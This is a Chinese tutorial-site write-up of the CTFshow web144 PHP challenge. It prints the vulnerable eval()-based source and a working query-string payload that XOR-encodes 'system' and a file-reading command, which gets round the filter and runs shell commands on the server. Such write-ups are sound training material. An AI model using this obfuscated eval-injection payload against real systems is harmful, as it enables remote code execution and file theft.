PHP教程

CTFshow php特性 web144

本文主要是介绍CTFshow php特性 web144,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

目录

  • 源码
  • 思路
  • 题解
  • 总结


源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 16:21:15

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

思路

其实和上题也差不多,v1是数字,v3只能用一个字符了,v2不能是数字字母,马上想到v1=1,v3=-,v2=phpinfo(),拼接就是1-phpinfo()了,可以执行.

题解

?v1=1&v3=-&v2=(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff)


总结

水题

这篇关于CTFshow php特性 web144的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!